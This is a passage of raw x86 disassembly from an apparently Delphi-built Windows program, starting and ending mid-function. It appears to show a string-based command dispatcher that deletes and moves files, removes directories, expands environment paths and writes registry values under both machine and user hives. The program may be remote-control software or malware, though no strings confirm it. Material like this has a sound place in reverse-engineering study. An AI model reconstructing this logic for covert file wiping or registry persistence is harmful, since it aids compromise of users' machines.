lea edx, [ebp - 0x1864]
call fcn.00589cac
push dword [ebp - 0x1864]
push 0x5adbf0
lea eax, [ebp - 0x1860]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1860]
mov cl, 1
xor edx, edx
call fcn.00591a88
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1874]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x1874]
lea edx, [ebp - 0x1870]
call fcn.00589cac
push dword [ebp - 0x1870]
push 0x5adc00
lea eax, [ebp - 0x186c]
mov edx, 3
call fcn.00405dd8
mov edx, dword [ebp - 0x186c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x74]
cmp dword [0x5dbd5c], 0
je 0x5a0ea2
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1880]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x1880]
lea edx, [ebp - 0x187c]
call fcn.00589cac
push dword [ebp - 0x187c]
push 0x5add18
lea eax, [ebp - 0x1878]
mov edx, 3
call fcn.00405dd8
mov edx, dword [ebp - 0x1878]
lea eax, [ebp - 0x3a8]
call fcn.00403950
lea eax, [ebp - 0x3a8]
call fcn.004036e0
mov edx, dword [0x5dbd5c]
lea eax, [ebp - 0x3a8]
call fcn.004061f4
call fcn.004043f8
lea eax, [ebp - 0x3a8]
call fcn.00403af8
jmp 0x5a0f0a
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x188c]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x188c]
lea edx, [ebp - 0x1888]
call fcn.00589cac
push dword [ebp - 0x1888]
push 0x5add18
lea eax, [ebp - 0x1884]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1884]
mov dword [ebp - 0x708], eax
mov eax, dword [ebp - 0x708]
call fcn.00405ed4
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x709], al
mov byte [0x5dbc8d], 1
mov byte [0x5dbc8c], 0
jmp 0x5a119b
lea eax, [ebp - 0x1890]
push eax
lea ecx, [ebp - 0x1894]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1894]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1890]
call fcn.00593654
test al, al
jne 0x5a0fa3
lea eax, [ebp - 0x1898]
push eax
lea ecx, [ebp - 0x189c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x189c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1898]
call fcn.00593654
test al, al
je 0x5a119b
cmp dword [0x5dbd74], 2
jne 0x5a0fec
lea eax, [ebp - 0x18a0]
mov ecx, dword [0x5dbd0c]
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov eax, dword [ebp - 0x18a0]
mov dword [ebp - 0x710], eax
mov eax, dword [ebp - 0x710]
call fcn.00405ed4
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x711], al
mov dl, 1
mov eax, dword [ebp - 0x3c0]
call fcn.0042df1c
mov eax, dword [ebp - 0x3c0]
call fcn.00405ed4
push eax
call sub.kernel32.dll_RemoveDirectoryA
mov eax, dword [ebp - 0x3c0]
call fcn.0040b8c0
test al, al
je 0x5a1194
xor eax, eax
mov dword [ebp - 0x554], eax
jmp 0x5a102d
inc dword [ebp - 0x554]
lea edx, [ebp - 0x18b0]
mov eax, dword [ebp - 0x3c0]
call fcn.0042dc40
mov eax, dword [ebp - 0x18b0]
lea edx, [ebp - 0x18ac]
call fcn.0040bb78
mov eax, dword [ebp - 0x18ac]
lea edx, [ebp - 0x18a8]
call fcn.00589d4c
push dword [ebp - 0x18a8]
push 0x5ae364
lea edx, [ebp - 0x18b4]
mov eax, dword [ebp - 0x554]
call fcn.0040b198
push dword [ebp - 0x18b4]
lea eax, [ebp - 0x18a4]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x18a4]
call fcn.0040b8c0
test al, al
jne 0x5a1027
lea edx, [ebp - 0x18c0]
mov eax, dword [ebp - 0x3c0]
call fcn.0042dc40
mov eax, dword [ebp - 0x18c0]
lea edx, [ebp - 0x18bc]
call fcn.0040bb78
mov eax, dword [ebp - 0x18bc]
lea edx, [ebp - 0x18b8]
call fcn.00589d4c
push dword [ebp - 0x18b8]
push 0x5ae364
lea edx, [ebp - 0x18c4]
mov eax, dword [ebp - 0x554]
call fcn.0040b198
push dword [ebp - 0x18c4]
push 0x5adbe4
lea eax, [ebp - 0x410]
mov edx, 4
call fcn.00405dd8
mov eax, dword [ebp - 0x410]
call fcn.00405ed4
push eax
mov eax, dword [ebp - 0x3c0]
call fcn.00405ed4
push eax
call sub.kernel32.dll_MoveFileA
lea edx, [ebp - 0x18d0]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x18d0]
lea edx, [ebp - 0x18cc]
call fcn.0040bc64
mov ecx, dword [ebp - 0x18cc]
lea eax, [ebp - 0x18c8]
mov edx, dword [ebp - 0x410]
call fcn.00405d5c
mov eax, dword [ebp - 0x18c8]
call fcn.0042ddc8
lea eax, [ebp - 0x18d4]
mov ecx, 0x5ae770
mov edx, dword [ebp - 0x410]
call fcn.00405d5c
mov eax, dword [ebp - 0x18d4]
call fcn.0042ddc8
mov eax, dword [ebp - 0x410]
call fcn.0042ddc8
mov byte [0x5dbc8c], 1
lea edx, [ebp - 0x18d8]
mov eax, 0x5ad700
call fcn.0058ff78
mov eax, dword [ebp - 0x18d8]
call fcn.00593654
test al, al
je 0x5a11c6
mov dword [ebp - 0x57c], 0x80000002
jmp 0x5a11d0
mov dword [ebp - 0x57c], 0x80000001
mov eax, dword [0x5d510c]
cmp dword [eax], 1
jne 0x5a11e4
mov dword [ebp - 0x57c], 0x80000002
lea eax, [ebp - 0x18dc]
push eax
lea ecx, [ebp - 0x18e0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x18e0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x18dc]
call fcn.00593654
test al, al
jne 0x5a12b3
lea eax, [ebp - 0x18e4]
push eax
lea ecx, [ebp - 0x18e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x18e8]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x18e4]
call fcn.00593654
test al, al
jne 0x5a16c3
lea eax, [ebp - 0x18ec]
push eax
lea ecx, [ebp - 0x18f0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x18f0]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x18ec]
call fcn.00593654
test al, al
jne 0x5a16c3
mov dword [ebp - 0x818], 0x94
lea eax, [ebp - 0x818]
push eax
call sub.kernel32.dll_GetVersionExA
cmp dword [ebp - 0x814], 5
jb 0x5a138d
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
mov edx, dword [ebp - 0x57c]
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20006
lea eax, [ebp - 0x18f4]
mov ecx, dword [0x5dbd0c]
mov edx, 0x5adb80
call fcn.00405d5c
mov edx, dword [ebp - 0x18f4]
mov cl, 1
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x18fc]
mov eax, dword [ebp - 0x3c4]
call fcn.0040bc64
push dword [ebp - 0x18fc]
push 0x5ae794
lea eax, [ebp - 0x18f8]
mov edx, 3
call fcn.00405dd8
mov ecx, dword [ebp - 0x18f8]
mov edx, 0x5adbc0
mov eax, dword [ebp - 0x53c]
call fcn.0043100c
mov eax, dword [ebp - 0x53c]
call fcn.00430940
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
mov edx, dword [ebp - 0x57c]
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20006
lea edx, [ebp - 0x1904]
mov eax, 0x5adaf8
call fcn.0058ff78
mov ecx, dword [ebp - 0x1904]
lea eax, [ebp - 0x1900]
mov edx, 0x5adb80
call fcn.00405d5c
mov edx, dword [ebp - 0x1900]
mov cl, 1
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
lea edx, [ebp - 0x1910]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x1910]
lea edx, [ebp - 0x190c]
call fcn.0040bc64
mov ecx, dword [ebp - 0x190c]
lea eax, [ebp - 0x1908]
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1908]
mov edx, 0x5ae7a4
mov eax, dword [ebp - 0x53c]
call fcn.0043100c
lea edx, [ebp - 0x1914]
mov eax, 0x5adaf8
call fcn.0058ff78
mov ecx, dword [ebp - 0x1914]
mov edx, 0x5ae7b8
mov eax, dword [ebp - 0x53c]
call fcn.0043100c
push 0x5adbd8
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x1920]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x1920]
lea edx, [ebp - 0x191c]
call fcn.0040bc64
push dword [ebp - 0x191c]
push 0x5ae7cc
lea eax, [ebp - 0x1918]
mov edx, 4
call fcn.00405dd8
mov ecx, dword [ebp - 0x1918]
mov edx, 0x5adbc0
mov eax, dword [ebp - 0x53c]
call fcn.0043100c
lea edx, [ebp - 0x192c]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x192c]
lea edx, [ebp - 0x1928]
call fcn.0040bc64
mov ecx, dword [ebp - 0x1928]
lea eax, [ebp - 0x1924]
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1924]
mov edx, 0x5ae7f0
mov eax, dword [ebp - 0x53c]
call fcn.0043100c
mov ecx, dword [0x5dbd40]
mov edx, 0x5ae804
mov eax, dword [ebp - 0x53c]
call fcn.0043100c
mov ecx, dword [0x5dbd44]
mov edx, 0x5ae818
mov eax, dword [ebp - 0x53c]
call fcn.0043100c
mov ecx, dword [0x5dbd48]
mov edx, 0x5ae828
mov eax, dword [ebp - 0x53c]
call fcn.0043100c
mov ecx, dword [0x5dbd4c]
mov edx, 0x5ae83c
mov eax, dword [ebp - 0x53c]
call fcn.0043100c
mov ecx, dword [0x5dbd50]
mov edx, 0x5ae854
mov eax, dword [ebp - 0x53c]
call fcn.0043100c
lea edx, [ebp - 0x1934]
mov eax, 0x5ad6d8
call fcn.0058ff78
mov eax, dword [ebp - 0x1934]
lea edx, [ebp - 0x1930]
call fcn.0058feb0
mov ecx, dword [ebp - 0x1930]
mov edx, 0x5ae868
mov eax, dword [ebp - 0x53c]
call fcn.0043100c
mov eax, dword [ebp - 0x53c]
call fcn.00430940
lea eax, [ebp - 0x1938]
mov ecx, dword [0x5dbd0c]
mov edx, 0x5ae880
call fcn.00405d5c
mov edx, dword [ebp - 0x1938]
mov cl, 1
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
push dword [ebp - 0x3c8]
push dword [0x5dbd10]
push 0x5adbe4
lea eax, [ebp - 0x193c]
mov edx, 3
call fcn.00405dd8
mov ecx, dword [ebp - 0x193c]
xor edx, edx
mov eax, dword [ebp - 0x53c]
call fcn.0043100c
mov eax, dword [ebp - 0x53c]
call fcn.00430940
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
lea eax, [ebp - 0x1940]
mov ecx, 0x5ae8b8
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov edx, dword [ebp - 0x1940]
lea eax, [ebp - 0x3a8]
call fcn.00403950
lea eax, [ebp - 0x3a8]
call fcn.004036e0
mov edx, dword [0x5dbd0c]
lea eax, [ebp - 0x3a8]
call fcn.004061f4
call fcn.004043f8
mov edx, dword [0x5dbd10]
lea eax, [ebp - 0x3a8]
call fcn.004061f4
call fcn.004043f8
lea edx, [ebp - 0x1944]
mov eax, 0x5adaf8
call fcn.0058ff78
mov edx, dword [ebp - 0x1944]
lea eax, [ebp - 0x3a8]
call fcn.004061f4
call fcn.004043f8
lea eax, [ebp - 0x3a8]
call fcn.00403af8
jmp 0x5acec8
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
lea edx, [ebp - 0x194c]
mov eax, 0x5adaf8
call fcn.0058ff78
mov ecx, dword [ebp - 0x194c]
lea eax, [ebp - 0x1948]
mov edx, 0x5adb80
call fcn.00405d5c
mov edx, dword [ebp - 0x1948]
mov eax, dword [ebp - 0x53c]
call fcn.00430ccc
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.00430970
lea edx, [ebp - 0x1954]
mov eax, 0x5adaf8
call fcn.0058ff78
mov ecx, dword [ebp - 0x1954]
lea eax, [ebp - 0x1950]
mov edx, 0x5adb80
call fcn.00405d5c
mov edx, dword [ebp - 0x1950]
mov eax, dword [ebp - 0x53c]
call fcn.00430ccc
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
lea eax, [ebp - 0x1958]
mov ecx, dword [0x5dbd0c]
mov edx, 0x5ae880
call fcn.00405d5c
mov edx, dword [ebp - 0x1958]
mov eax, dword [ebp - 0x53c]
call fcn.00430ccc
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.00430970
lea eax, [ebp - 0x195c]
mov ecx, dword [0x5dbd0c]
mov edx, 0x5ae880
call fcn.00405d5c
mov edx, dword [ebp - 0x195c]
mov eax, dword [ebp - 0x53c]
call fcn.00430ccc
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae8d0
call fcn.00405e6c
je 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae8e0
call fcn.00405e6c
jne 0x5a1a0e
xor eax, eax
push ebp
push 0x5a1a07
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x1964]
push eax
lea ecx, [ebp - 0x1968]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1968]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1964]
lea edx, [ebp - 0x1960]
call fcn.00593948
cmp dword [ebp - 0x1960], 0
jne 0x5a1892
lea eax, [ebp - 0x3b4]
call fcn.00593e18
jmp 0x5a192c
mov eax, 0x41000
call fcn.00402fb0
mov esi, eax
push 0x41000
push esi
push 0x5ae8f8
lea eax, [ebp - 0x1974]
push eax
lea ecx, [ebp - 0x1978]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1978]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1974]
lea edx, [ebp - 0x1970]
call fcn.00593948
push dword [ebp - 0x1970]
push 0x5ae8f8
lea eax, [ebp - 0x196c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x196c]
call fcn.00405ed4
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
lea eax, [ebp - 0x3b4]
mov edx, esi
call fcn.00405c3c
mov eax, esi
call fcn.00402fcc
lea eax, [ebp - 0x197c]
push eax
lea ecx, [ebp - 0x1980]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1980]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x197c]
lea edx, [ebp - 0x3b0]
call fcn.005af56c
cmp dword [ebp - 0x3b0], 0
jne 0x5a19aa
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1984]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1984]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
lea edx, [ebp - 0x1988]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1988]
push eax
lea eax, [ebp - 0x198c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x198c]
mov edx, dword [ebp - 0x3b4]
pop eax
call fcn.0058ffac
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae904
call fcn.00405e6c
jne 0x5a1b14
lea edx, [ebp - 0x1990]
mov eax, 0x5ad84c
call fcn.0058ff78
mov edx, dword [ebp - 0x1990]
mov eax, dword [0x5d508c]
call fcn.00405a98
lea eax, [ebp - 0x1994]
push eax
lea ecx, [ebp - 0x1998]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1998]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1994]
lea edx, [ebp - 0x3b0]
call fcn.005af56c
cmp dword [ebp - 0x3b0], 0
jne 0x5a1ac2
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x199c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x199c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
lea edx, [ebp - 0x19a0]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x19a0]
push eax
lea eax, [ebp - 0x19a4]
call fcn.0057b120
mov eax, dword [ebp - 0x19a4]
push eax
lea eax, [ebp - 0x19a8]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x19a8]
pop edx
pop eax
call fcn.0058ffac
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae920
call fcn.00405e6c
jne 0x5a1cf6
lea edx, [ebp - 0x19ac]
mov eax, 0x5ad84c
call fcn.0058ff78
mov edx, dword [ebp - 0x19ac]
mov eax, dword [0x5d508c]
call fcn.00405a98
lea eax, [ebp - 0x19b0]
push eax
lea ecx, [ebp - 0x19b4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19b4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x19b0]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x5a1c06
push 0
lea eax, [ebp - 0x19bc]
push eax
lea eax, [ebp - 0x19c0]
push eax
lea ecx, [ebp - 0x19c4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19c4]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0x19c0]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0x19bc]
lea edx, [ebp - 0x19b8]
call fcn.00593948
mov edx, dword [ebp - 0x19b8]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
lea eax, [ebp - 0x19c8]
push eax
lea ecx, [ebp - 0x19cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19cc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x19c8]
lea edx, [ebp - 0x3b0]
call fcn.005af56c
cmp dword [ebp - 0x3b0], 0
jne 0x5a1c84
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x19d0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19d0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
lea edx, [ebp - 0x19d8]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov eax, dword [ebp - 0x19d8]
call fcn.0057cc00
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x19d4]
call fcn.0040b284
mov eax, dword [ebp - 0x19d4]
push eax
lea edx, [ebp - 0x19dc]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x19dc]
push eax
lea eax, [ebp - 0x19e0]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x19e0]
pop eax
pop edx
call fcn.0058ffac
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae93c
call fcn.00405e6c
jne 0x5a1f13
xor eax, eax
push ebp
push 0x5a1f0c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x5ac]
push eax
lea eax, [ebp - 0x5b0]
push eax
lea eax, [ebp - 0x19ec]
push eax
lea ecx, [ebp - 0x19f0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x19f0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x19ec]
lea edx, [ebp - 0x19e8]
call fcn.00593948
mov eax, dword [ebp - 0x19e8]
lea edx, [ebp - 0x19e4]
call fcn.0058feb0
mov eax, dword [ebp - 0x19e4]
lea ecx, [ebp - 0x5a0]
lea edx, [ebp - 0x59c]
call fcn.0058afe8
mov eax, dword [ebp - 0x59c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x19f4]
call fcn.0040b284
push dword [ebp - 0x19f4]
push 0x5ae958
mov eax, dword [ebp - 0x5a0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x19f8]
call fcn.0040b284
push dword [ebp - 0x19f8]
push 0x5ae958
mov eax, dword [ebp - 0x5a4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x19fc]
call fcn.0040b284
push dword [ebp - 0x19fc]
push 0x5ae958
mov eax, dword [ebp - 0x5a8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1a00]
call fcn.0040b284
push dword [ebp - 0x1a00]
lea eax, [ebp - 0x3b4]
mov edx, 7
call fcn.00405dd8
lea eax, [ebp - 0x1a04]
push eax
lea ecx, [ebp - 0x1a08]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a08]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1a04]
lea edx, [ebp - 0x3b0]
call fcn.005af56c
cmp dword [ebp - 0x3b0], 0
jne 0x5a1eaf
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1a0c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a0c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
lea edx, [ebp - 0x1a10]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1a10]
push eax
lea eax, [ebp - 0x1a14]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1a14]
mov edx, dword [ebp - 0x3b4]
pop eax
call fcn.0058ffac
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae964
call fcn.00405e6c
jne 0x5a21f3
lea edx, [ebp - 0x1a18]
mov eax, 0x5ad84c
call fcn.0058ff78
mov edx, dword [ebp - 0x1a18]
mov eax, dword [0x5d508c]
call fcn.00405a98
xor eax, eax
push ebp
push 0x5a21ec
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0x1a1c]
push eax
lea ecx, [ebp - 0x1a20]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a20]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1a1c]
lea edx, [ebp - 0x3b0]
call fcn.005af56c
cmp dword [ebp - 0x3b0], 0
jne 0x5a1fda
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1a24]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a24]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
xor eax, eax
push ebp
push 0x5a2175
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1a30]
push eax
lea ecx, [ebp - 0x1a34]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a34]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1a30]
lea edx, [ebp - 0x1a2c]
call fcn.00593948
mov eax, dword [ebp - 0x1a2c]
lea edx, [ebp - 0x1a28]
call fcn.0058feb0
mov eax, dword [ebp - 0x1a28]
push eax
lea eax, [ebp - 0x3c0]
push eax
lea eax, [ebp - 0x1a40]
push eax
lea ecx, [ebp - 0x1a44]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a44]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1a40]
lea edx, [ebp - 0x1a3c]
call fcn.00593948
mov eax, dword [ebp - 0x1a3c]
lea edx, [ebp - 0x1a38]
call fcn.0058feb0
mov eax, dword [ebp - 0x1a38]
push eax
lea eax, [ebp - 0x1a50]
push eax
lea ecx, [ebp - 0x1a54]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a54]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1a50]
lea edx, [ebp - 0x1a4c]
call fcn.00593948
mov eax, dword [ebp - 0x1a4c]
lea edx, [ebp - 0x1a48]
call fcn.0058feb0
mov eax, dword [ebp - 0x1a48]
call fcn.00593654
push eax
lea eax, [ebp - 0x1a60]
push eax
lea ecx, [ebp - 0x1a64]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a64]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1a60]
lea edx, [ebp - 0x1a5c]
call fcn.00593948
mov eax, dword [ebp - 0x1a5c]
lea edx, [ebp - 0x1a58]
call fcn.0058feb0
mov eax, dword [ebp - 0x1a58]
call fcn.0040b2d4
pop edx
pop ecx
call fcn.0057b48c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a218f
lea edx, [ebp - 0x1a68]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0x1a68]
push eax
lea eax, [ebp - 0x1a6c]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0x1a6c]
mov edx, dword [ebp - 0x3c0]
pop eax
call fcn.0058ffac
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae990
call fcn.00405e6c
jne 0x5a2459
lea edx, [ebp - 0x1a70]
mov eax, 0x5ad84c
call fcn.0058ff78
mov edx, dword [ebp - 0x1a70]
mov eax, dword [0x5d508c]
call fcn.00405a98
xor eax, eax
push ebp
push 0x5a2452
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
xor eax, eax
push ebp
push 0x5a242b
